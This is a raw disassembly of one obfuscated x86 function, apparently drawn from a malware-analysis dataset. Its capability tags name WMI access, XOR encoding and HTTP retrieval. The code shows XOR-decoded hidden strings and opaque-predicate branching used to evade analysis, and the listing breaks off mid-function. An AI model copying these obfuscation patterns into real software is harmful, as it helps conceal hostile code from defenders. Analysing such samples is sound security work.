Function at 0x4018b0
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0xc0
mov esi, esp
mov dword [esi + 0xa8], ebp
mov dword [esi + 0xac], esp
mov dword [esi + 0xb8], 0xffffffff
lea eax, [esi + 0xb0]
mov dword [esi + 0xb4], 0x406900
mov ecx, dword fs:[0]
mov dword [esi + 0xb0], ecx
mov dword fs:[0], eax
cmp dword [0x42f260], 0xa
jl 0x401917
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x4019c5
push eax
sub esp, 0x3fc
mov dword [esi + 0x88], esp
push eax
mov ebx, esp
push eax
mov dword [esi + 8], esp
push eax
mov dword [esi + 0xc], esp
sub esp, 0x20
mov eax, esp
and eax, 0xfffffff0
mov dword [esi], eax
mov esp, eax
push eax
mov dword [esi + 0x34], esp
sub esp, 0x18
mov edi, esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff0
mov dword [esi + 0x30], eax
mov esp, eax
push eax
mov dword [esi + 4], esp
push eax
mov dword [esi + 0x14], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff0
mov dword [esi + 0x4c], eax
mov esp, eax
push eax
mov dword [esi + 0x40], esp
push eax
mov dword [esi + 0x48], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x44], eax
mov esp, eax
push eax
sub esp, 0x80
mov dword [esi + 0x28], esp
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebx], 0
mov dword [esi + 0x2c], ebx
push ebx
push 0x42d748
push 1
push 0
push 0x42d758
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp dword [0x42f260], 0xa
jl 0x4019f0
mov ecx, dword [0x42f264]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x4019f0
push eax
mov edi, esp
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [edi], 0
push edi
push 0x42d748
push 1
push 0
push 0x42d758
call dword [sym.imp.ole32.dll_CoCreateInstance]
jmp 0x401917
mov dword [esi + 0x18], edi
lea ebx, [ebp + 8]
lea ecx, [ebx + 4]
mov dword [esi + 0x38], ecx
lea edi, [ebx + 0x1c]
test eax, eax
js 0x401a42
mov dword [esi + 0x10], edi
mov eax, dword [esi + 8]
mov dword [eax], 0
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ebx, 0x1f44c11d
mov ecx, 0xa1184077
cmp dword [0x42f268], 0xa
jl 0x401af9
mov edx, dword [0x42f26c]
lea edi, [edx + 1]
imul edi, edx
and edi, 1
je 0x401af9
jmp 0x401a40
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [esi + 8], 0
mov eax, dword [ebx + 0x18]
cmp eax, 0x10
jb 0x401a93
mov dword [esi + 0x10], edi
mov edi, ebx
mov ecx, dword [esi + 0x38]
mov ecx, dword [ecx]
lea ebx, [eax + 1]
cmp ebx, 0x1000
jb 0x401a84
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x402a55
add eax, 0x24
mov ebx, eax
mov ecx, edx
push ebx
push ecx
call fcn.0040e6b7
add esp, 8
mov ebx, edi
mov edi, dword [esi + 0x10]
mov dword [ebx + 0x14], 0
mov dword [ebx + 0x18], 0xf
mov byte [ebx + 4], 0
mov eax, dword [ebx + 0x30]
cmp eax, 8
jb 0x401ae2
mov ecx, dword [edi]
lea ebx, [eax*2 + 2]
cmp ebx, 0x1000
jb 0x401ad8
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x402a55
add eax, eax
add eax, 0x25
mov ebx, eax
mov ecx, edx
push ebx
push ecx
call fcn.0040e6b7
add esp, 8
mov eax, dword [esi + 0xb0]
mov dword fs:[0], eax
mov eax, dword [esi + 8]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esi + 0x20], eax
mov eax, 0xcfcbe488
mov edi, 0xa0b3f8f8
mov dword [esi + 0x24], eax
mov eax, dword [esi]
mov dword [eax], ebx
mov ebx, 0xd4161b47
mov dword [eax + 4], ecx
mov edx, 0x72605e66
mov dword [eax + 0xc], edi
mov ecx, 0xa535b0ce
mov edi, dword [esi + 0x24]
mov dword [eax + 8], edi
mov edi, 0xd7b8e7ff
mov dword [esi + 0x1c], ecx
mov dword [eax + 0x14], edx
mov dword [eax + 0x10], ebx
mov ecx, 0x1f0bc14f
mov edx, 0xa14c4038
mov dword [esi + 0x3c], edx
mov dword [esi + 0x54], edx
mov dword [esi + 0x24], ecx
mov dword [esi + 0x50], ecx
mov ecx, 0xcf88e4d4
mov edx, 0xa0fef8b1
mov dword [esi + 0x80], edx
mov dword [esi + 0x5c], edx
mov dword [esi + 0x84], ecx
mov dword [esi + 0x58], ecx
mov ecx, 0x72605e66
mov edx, 0xd4241b11
mov dword [esi + 0x64], ecx
mov dword [esi + 0x60], edx
mov dword [eax + 0x1c], edi
mov dword [esi + 0x6c], edi
mov ecx, dword [esi + 0x1c]
mov dword [eax + 0x18], ecx
mov dword [esi + 0x68], ecx
lea ecx, [esi + 0x50]
xor edx, edx
movaps xmm0, xmmword [eax]
movaps xmm1, xmmword [eax + 0x10]
xorps xmm0, xmmword [ecx]
movaps xmmword [eax], xmm0
xorps xmm1, xmmword [ecx + 0x10]
movaps xmmword [eax + 0x10], xmm1
mov dword [esi + 0xb8], 0
push 0xc
call fcn.0040e682
add esp, 4
mov dword [eax + 4], 0
mov dword [eax + 8], 1
push dword [esi]
mov dword [esi], eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edx, dword [esi]
mov dword [edx], eax
test eax, eax
mov ecx, dword [esi + 0xc]
je 0x401c63
mov dword [ecx], edx
cmp dword [0x42f260], 0xa
mov edi, dword [esi + 8]
mov ebx, dword [esi + 0x20]
jl 0x401c02
mov ecx, dword [0x42f264]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x401c02
nop
jmp 0x401c00
mov ecx, dword [ebx]
mov ecx, dword [ecx + 0xc]
mov dword [esi + 0xb8], 8
sub esp, 0x24
mov dword [esp + 0x20], edi
xorps xmm0, xmm0
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
call ecx
mov dword [esi + 0x1c], eax
cmp dword [0x42f260], 0xa
jl 0x401c5c
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
mov ebx, dword [esi + 0xc]
mov edi, dword [esi]
jne 0x401cd2
jmp 0x401c77
mov ebx, dword [esi + 0xc]
mov edi, dword [esi]
jmp 0x401c77
mov dword [esi + 0xb8], 1
push 0x8007000e
call fcn.0040eb70
test edi, edi
je 0x401cb3
lock dec dword [edi + 8]
jne 0x401cad
mov eax, dword [edi]
test eax, eax
je 0x401c94
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x401ca4
push eax
call fcn.0040e6e8
add esp, 4
push edi
call fcn.0040e6b2
add esp, 4
mov dword [ebx], 0
cmp dword [0x42f260], 0xa
jl 0x401d11
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x401d11
mov edi, dword [ebx]
test edi, edi
je 0x401d0a
lock dec dword [edi + 8]
jne 0x401d04
mov eax, dword [edi]
test eax, eax
je 0x401ceb
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x401cfb
push eax
call fcn.0040e6e8
add esp, 4
push edi
call fcn.0040e6b2
add esp, 4
mov dword [ebx], 0
mov edi, dword [ebx]
jmp 0x401c77
cmp dword [esi + 0x1c], 0
js 0x401de2
movaps xmm0, xmmword [0x4104e0]
mov edi, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov ebx, dword [esi + 8]
nop dword [eax + eax]
mov eax, dword [ebx]
sub esp, 0x20
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
call edi
cmp dword [0x42f260], 0xa
jl 0x401dab
mov ecx, dword [0x42f264]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x401dab
mov ebx, dword [esi + 8]
mov eax, dword [ebx]
sub esp, 0x20
movaps xmm0, xmmword [0x4104e0]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
call edi
movaps xmm0, xmmword [0x4104e0]
jmp 0x401d30
test eax, eax
js 0x401ea9
mov eax, dword [esi + 0x34]
mov dword [eax], 0
cmp dword [0x42f270], 0xa
jl 0x401ef2
mov eax, dword [0x42f274]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x401ef2
nop dword [eax]
jmp 0x401de0
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esi + 0xb8], 0
push eax
call ecx
cmp dword [0x42f260], 0xa
jl 0x401e3d
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x401e3d
mov edi, dword [sym.imp.ole32.dll_CoUninitialize]
nop dword [eax + eax]
call edi
call edi
cmp dword [0x42f260], 0xa
jl 0x401e3d
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x401e20
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edx, dword [0x42f264]
mov eax, dword [0x42f260]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
mov dword [esi + 8], 0
cmp eax, 0xa
lea ebx, [ebp + 8]
jl 0x4021aa
test ecx, ecx
mov edi, dword [esi + 0x10]
je 0x4021ad
mov ebx, dword [sym.imp.ole32.dll_CoUninitialize]
nop dword [eax + eax]
call ebx
call ebx
mov edx, dword [0x42f264]
mov eax, dword [0x42f260]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x401ea1
test ecx, ecx
jne 0x401e80
lea ebx, [ebp + 8]
jmp 0x4021ad
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esi + 0xb8], 0
push eax
call ecx
cmp dword [0x42f260], 0xa
jl 0x401fe6
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x401fe6
nop word cs:[eax + eax]
jmp 0x401ef0
mov eax, 0x5a47841c
mov ecx, 0x8b6c147b
mov edx, dword [esi + 0x30]
mov dword [edx + 4], ecx
mov ecx, 0x80daa2f4
mov dword [edx], eax
mov eax, 0xa0fed8fc
mov dword [edx + 0xc], eax
mov dword [edx + 8], ecx
xor eax, eax
lea ecx, [esi + 0x50]
mov eax, dword [esi + 0x3c]
mov dword [esi + 0x54], eax
mov eax, dword [esi + 0x24]
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x80]
mov dword [esi + 0x5c], eax
mov eax, dword [esi + 0x84]
mov dword [esi + 0x58], eax
movaps xmm0, xmmword [edx]
xorps xmm0, xmmword [ecx]
movaps xmmword [edx], xmm0
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
lea ecx, [ebp + 8]
mov edi, dword [ecx + 0x14]
mov edx, edi
xor edx, 0x7fffffff
cmp edx, eax
jb 0x4021c2
mov edx, dword [ecx + 4]
mov ecx, dword [ecx + 0x18]
mov dword [esi + 0x8c], ecx
xorps xmm0, xmm0
mov ecx, dword [esi + 0x18]
movups xmmword [ecx], xmm0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x10], 0
mov dword [esi + 0x20], edi
lea ebx, [edi + eax]
mov dword [esi + 0xc], 0xf
mov edi, ecx
cmp ebx, 0x10
mov dword [esi + 0x1c], ebx
jb 0x4020ad
test ebx, ebx
mov dword [esi + 0x7c], eax
mov dword [esi], edx
js 0x402077
mov ecx, ebx
or ecx, 0xf
cmp ecx, 0x17
mov edi, 0x16
cmovae edi, ecx
mov dword [esi + 0xb8], 0
cmp edi, 0xfff
jae 0x40207c
mov dword [esi + 0xc], edi
lea eax, [edi + 1]
push eax
call fcn.0040e682
add esp, 4
mov edi, eax
jmp 0x4020a0
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [0x42f260], 0xa
jl 0x402012
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402012
nop word [eax + eax]
jmp 0x402010
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edx, dword [0x42f264]
mov eax, dword [0x42f260]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
mov dword [esi + 8], 0
cmp eax, 0xa
jl 0x4021a7
test ecx, ecx
mov edi, dword [esi + 0x10]
je 0x401ea1
mov ebx, dword [sym.imp.ole32.dll_CoUninitialize]
call ebx
call ebx
mov edx, dword [0x42f264]
mov eax, dword [0x42f260]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x401ea1
test ecx, ecx
jne 0x40204d
jmp 0x401ea1
mov edi, SysReAllocString
mov dword [esi + 0xc], edi
lea eax, [edi + 0x24]
mov dword [esi + 0xb8], 0
push eax
call fcn.0040e682
add esp, 4
mov edi, eax
add edi, 0x23
and edi, 0xffffffe0
mov dword [edi - 4], eax
mov eax, dword [esi + 0x7c]
mov edx, dword [esi]
mov ecx, dword [esi + 0x18]
mov dword [ecx], edi
mov ebx, dword [esi + 0x1c]
cmp dword [esi + 0x8c], 0x10
cmovb edx, dword [esi + 0x38]
mov dword [esi], edx
mov dword [ecx + 0x10], ebx
mov edx, dword [esi + 0xc]
mov dword [ecx + 0x14], edx
push eax
push dword [esi + 0x30]
push edi
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, edi
push dword [esi + 0x20]
push dword [esi]
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esi + 0x1c]
mov byte [edi + eax], 0
cmp dword [0x42f260], 0xa
jl 0x402112
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402112
nop word cs:[eax + eax]
jmp 0x402110
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x18]
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, dword [eax + 0x14]
mov dword [esi + 0xc], eax
mov dword [esi + 0xb8], 2
push 0xc
call fcn.0040e682
add esp, 4
cmp dword [esi + 0xc], 0x10
mov ecx, dword [esi + 0x18]
cmovae ecx, dword [esi]
mov dword [eax + 4], 0
mov dword [esi], eax
mov dword [eax + 8], 1
mov dword [esi + 0xb8], 3
push ecx
call fcn.0040e9e0
mov dword [esi + 0x20], eax
mov ecx, dword [esi]
mov dword [ecx], eax
mov eax, dword [esi + 4]
mov dword [eax], ecx
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x42f260], 0xa
setl al
or al, cl
mov byte [esi], al
mov ebx, dword [esi + 0x4c]
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x80]
jne 0x402221
jmp 0x4021d1
lea ebx, [ebp + 8]
mov edi, dword [esi + 0x10]
cmp eax, 0xa
jl 0x401a4f
test ecx, ecx
je 0x401a4f
nop
jmp 0x4021c0
mov dword [esi + 0xb8], 0
call fcn.004061c0
mov edx, 0x1f479018
mov edi, 0xa14c4038
mov dword [esi + 0x30], edi
mov dword [esi + 0xc], edx
xor ebx, ebx
lea edi, [esi + 0x50]
mov ebx, dword [esi + 0x4c]
nop dword [eax]
mov edx, dword [esi + 0x30]
mov dword [ebx + 4], edx
mov edx, dword [esi + 0xc]
mov dword [ebx], edx
mov dword [ebx + 0xc], ecx
mov dword [ebx + 8], eax
mov edx, dword [esi + 0x3c]
mov dword [esi + 0x54], edx
mov edx, dword [esi + 0x24]
mov dword [esi + 0x50], edx
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x58], eax
movaps xmm0, xmmword [ebx]
xorps xmm0, xmmword [edi]
movaps xmmword [ebx], xmm0
cmp byte [esi], 0
je 0x4021f0
mov edi, 0x1f479018
mov edx, 0xa14c4038
mov dword [ebx + 4], edx
mov dword [ebx], edi
xor edi, edi
lea edx, [esi + 0x50]
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], ecx
mov edi, dword [esi + 0x3c]
mov dword [esi + 0x54], edi
mov edi, dword [esi + 0x24]
mov dword [esi + 0x50], edi
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x58], eax
movaps xmm0, xmmword [ebx]
xorps xmm0, xmmword [edx]
movaps xmmword [ebx], xmm0
cmp byte [esi], 0
je 0x4021d1
mov dword [esi + 0xb8], 5
push 0xc
call fcn.0040e682
add esp, 4
mov dword [eax + 4], 0
mov dword [esi], eax
mov dword [eax + 8], 1
mov dword [esi + 0xb8], 6
push dword [esi + 0x4c]
call fcn.0040e9e0
mov edx, dword [esi]
mov dword [edx], eax
mov ecx, dword [esi + 0x14]
mov dword [ecx], edx
cmp dword [0x42f260], 0xa
jl 0x4022c2
mov ecx, dword [0x42f264]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x4022c2
nop dword [eax + eax]
jmp 0x4022c0
mov edx, dword [esi + 0x1c]
mov ecx, dword [edx]
mov ecx, dword [ecx + 0x50]
mov dword [esi + 0xb8], 7
push dword [esi + 0x34]
push 0
push 0x30
push dword [esi + 0x20]
push eax
push edx
call ecx
mov dword [esi], eax
cmp dword [0x42f260], 0xa
jl 0x402428
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402428
mov ebx, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 0x14]
mov edi, dword [eax]
test edi, edi
je 0x40234b
lock dec dword [edi + 8]
jne 0x402342
mov eax, dword [edi]
test eax, eax
je 0x402329
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x402339
push eax
call fcn.0040e6e8
add esp, 4
push edi
call fcn.0040e6b2
add esp, 4
mov eax, dword [esi + 0x14]
mov dword [eax], 0
mov eax, dword [esi + 4]
mov edi, dword [eax]
test edi, edi
je 0x40238b
lock dec dword [edi + 8]
jne 0x402382
mov eax, dword [edi]
test eax, eax
je 0x402369
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x402379
push eax
call fcn.0040e6e8
add esp, 4
push edi
call fcn.0040e6b2
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0
mov eax, dword [esi + 0x14]
mov edi, dword [eax]
test edi, edi
je 0x4023cb
lock dec dword [edi + 8]
jne 0x4023c2
mov eax, dword [edi]
test eax, eax
je 0x4023a9
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x4023b9
push eax
call fcn.0040e6e8
add esp, 4
push edi
call fcn.0040e6b2
add esp, 4
mov eax, dword [esi + 0x14]
mov dword [eax], 0
mov eax, dword [esi + 4]
mov edi, dword [eax]
test edi, edi
je 0x40240b
lock dec dword [edi + 8]
jne 0x402402
mov eax, dword [edi]
test eax, eax
je 0x4023e9
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x4023f9
push eax
call fcn.0040e6e8
add esp, 4
push edi
call fcn.0040e6b2
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0
cmp dword [0x42f260], 0xa
jl 0x402428
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x40230b
mov ebx, dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x402442
push edi
call fcn.0040e6b2
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0
mov eax, dword [esi + 0x14]
mov edi, dword [eax]
test edi, edi
je 0x402482
lock dec dword [edi + 8]
jne 0x402479
mov eax, dword [edi]
test eax, eax
je 0x402460
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x402470
push eax
call fcn.0040e6e8
add esp, 4
push edi
call fcn.0040e6b2
add esp, 4
mov eax, dword [esi + 0x14]
mov dword [eax], 0
mov eax, dword [esi + 4]
mov edi, dword [eax]
test edi, edi
je 0x4024c2
lock dec dword [edi + 8]
jne 0x4024b9
mov eax, dword [edi]
test eax, eax
je 0x4024a0
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x4024b0
push eax
call fcn.0040e6e8
add esp, 4
push edi
call fcn.0040e6b2
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0
mov ecx, dword [0x42f264]
mov eax, dword [0x42f260]
cmp eax, 0xa
jl 0x402560
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x402560
mov eax, dword [esi + 0x14]
mov edi, dword [eax]
test edi, edi
je 0x402521
lock dec dword [edi + 8]
jne 0x402518
mov eax, dword [edi]
test eax, eax
je 0x4024ff
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x40250f
push eax
call fcn.0040e6e8
add esp, 4
push edi
call fcn.0040e6b2
add esp, 4
mov eax, dword [esi + 0x14]
mov dword [eax], 0
mov eax, dword [esi + 4]
mov edi, dword [eax]
test edi, edi
je 0x402442
lock dec dword [edi + 8]
jne 0x402439
mov eax, dword [edi]
test eax, eax
je 0x402547
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x402430
push eax
call fcn.0040e6e8
add esp, 4
jmp 0x402430
cmp dword [esi], 0
js 0x402832
mov edx, dword [esi + 0x40]
mov dword [edx], 0
mov edx, dword [esi + 0x28]
add edx, 4
mov dword [esi + 4], edx
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x402591
test edx, edx
jne 0x402800
mov ecx, dword [esi + 0x34]
mov ecx, dword [ecx]
test ecx, ecx
je 0x402872
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
mov dword [esi + 0xb8], 2
push dword [esi + 0x40]
push dword [esi + 0x48]
push 1
push 0xffffffffffffffff
push ecx
call eax
mov ecx, dword [0x42f264]
mov eax, dword [0x42f260]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x4025db
test edx, edx
jne 0x402810
mov ecx, dword [esi + 0x40]
cmp dword [ecx], 0
je 0x402872
mov ebx, dword [esi + 0x44]
push ebx
mov edi, dword [sym.imp.OLEAUT32.dll_VariantClear]
nop word cs:[eax + eax]
call edi
cmp dword [0x42f260], 0xa
jl 0x402621
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402621
push ebx
call edi
push ebx
jmp 0x402600
mov eax, dword [esi + 0x48]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
lea edi, [ebp + 8]
cmp dword [edi + 0x30], 8
mov edx, dword [esi + 0x10]
jb 0x40263a
mov edx, dword [edi + 0x1c]
mov dword [esi + 0xb8], 2
push 0
push 0
push ebx
push 0
push edx
push eax
call ecx
cmp dword [0x42f260], 0xa
jl 0x40266d
mov ecx, dword [0x42f264]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
jne 0x402820
test eax, eax
mov edi, dword [esi + 0x44]
mov ecx, dword [esi + 0x28]
js 0x4027ad
mov eax, dword [edi + 8]
mov edx, dword [esi + 4]
mov dword [ecx], edx
push 3
push eax
call fcn.00406630
cmp dword [0x42f260], 0xa
mov edi, dword [esi + 0x88]
mov ebx, dword [esi + 0x28]
jl 0x4026ad
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x4026d7
push dword [ebx]
push 0xc8
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
cmp dword [0x42f260], 0xa
jl 0x4026ea
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x4026ea
push dword [ebx]
push 0xc8
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
jmp 0x4026ad
lea eax, [ebp + 8]
mov ebx, dword [eax]
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov ecx, edi
mov edi, eax
mov eax, dword [ebx + 0x14]
cmp eax, edi
jae 0x402728
mov dword [esi + 0xb8], 4
sub esp, 0xc
movzx eax, byte [esi + 0x50]
mov byte [esp + 4], al
mov dword [esp + 8], ecx
mov dword [esp], edi
mov ecx, ebx
call fcn.00406340
jmp 0x40274a
mov ecx, ebx
cmp eax, 0x10
jb 0x402731
mov ecx, dword [ebx]
mov dword [ebx + 0x10], edi
push edi
push dword [esi + 0x88]
push ecx
mov ebx, ecx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [ebx + edi], 0
cmp dword [0x42f260], 0xa
mov edi, dword [esi + 0x44]
mov ebx, dword [esi + 0x28]
jl 0x402770
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x402830
nop dword [eax]
mov eax, dword [ebx]
cmp eax, dword [esi + 4]
je 0x402781
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
cmp dword [0x42f260], 0xa
jl 0x4027ad
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x4027ad
mov eax, dword [ebx]
cmp eax, dword [esi + 4]
je 0x402770
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
jmp 0x402770
push edi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esi + 0x48]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esi + 0xb8], 2
push eax
call ecx
mov ecx, dword [0x42f264]
mov eax, dword [0x42f260]
cmp eax, 0xa
jl 0x40257b
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x40257b
nop
jmp 0x4027f0
jmp 0x402800
jmp 0x402810
jmp 0x402820
jmp 0x402830
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esi + 0xb8], 2
push eax
call ecx
cmp dword [0x42f260], 0xa
jl 0x402882
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402882
nop word cs:[eax + eax]
jmp 0x402870
cmp eax, 0xa
jl 0x4028b2
test edx, edx
je 0x4028b2
nop dword [eax + eax]
jmp 0x402880
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [0x42f260], 0xa
jl 0x4028f2
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x4028f2
nop word cs:[eax + eax]
jmp 0x4028b0
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esi + 0xb8], 2
push eax
call ecx
cmp dword [0x42f260], 0xa
jl 0x402948
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402948
nop word cs:[eax + eax]
jmp 0x4028f0
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [0x42f264]
mov ecx, dword [0x42f260]
mov dword [esi + 8], 0
cmp ecx, 0xa
jl 0x402995
lea edx, [eax + 1]
imul edx, eax
and edx, 1
mov edi, dword [esi + 0x10]
je 0x402998
mov ebx, dword [sym.imp.ole32.dll_CoUninitialize]
call ebx
call ebx
mov eax, dword [0x42f264]
mov ecx, dword [0x42f260]
cmp ecx, 0xa
jl 0x402998
lea edx, [eax + 1]
imul edx, eax
and edx, 1
jne 0x402927
jmp 0x402998
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [0x42f260], 0xa
jl 0x402972
mov eax, dword [0x42f264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402972
nop dword [eax]
jmp 0x402970
mov eax, dword [esi + 0x34]
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [0x42f264]
mov dword [esi + 8], 1
mov ecx, dword [0x42f260]
mov edi, dword [esi + 0x10]
cmp ecx, 0xa
lea ebx, [ebp + 8]
jl 0x4029bf
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x4029bf
nop dword [eax + eax]
jmp 0x4029b0
push ebx
push ecx
call fcn.0040e6b7
add esp, 8
lea ebx, [ebp + 8]
mov ecx, dword [esi + 0x18]
mov eax, dword [ecx + 0x14]
cmp eax, 0x10
jb 0x4029fb
mov ecx, dword [esi + 0x18]
mov ecx, dword [ecx]
lea ebx, [eax + 1]
cmp ebx, 0x1000
jb 0x4029ee
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x402a55
add eax, 0x24
mov ebx, eax
